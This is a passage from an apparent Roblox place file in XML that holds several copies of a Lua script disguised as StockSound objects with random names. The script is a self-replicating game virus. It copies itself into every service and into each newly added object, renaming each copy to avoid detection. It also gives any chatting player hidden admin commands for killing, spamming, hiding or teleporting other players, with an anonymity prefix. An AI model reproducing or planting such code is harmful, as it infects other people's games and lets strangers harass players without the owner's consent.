plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX920">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">sm3f</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX921">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ebg3iumtx</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
	<Item class="RunService" referent="RBX922">
		<Properties>
			<string name="Name">Run Service</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX923</External>
	<External>RBX924</External>
	<Item class="ContentProvider" referent="RBX925">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="Players" referent="RBX926">
		<Properties>
			<int name="MaxPlayers">8</int>
			<string name="Name">Players</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="StarterPack" referent="RBX927">
		<Properties>
			<string name="Name">StarterPack</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="HopperBin" referent="RBX928">
			<Properties>
				<token name="BinType">4</token>
				<string name="Name">HopperBin</string>
				<Content name="TextureId"><url>rbxasset://Textures\Hammer.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX929">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">oabq47o</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX930">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">w35uvc2q</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
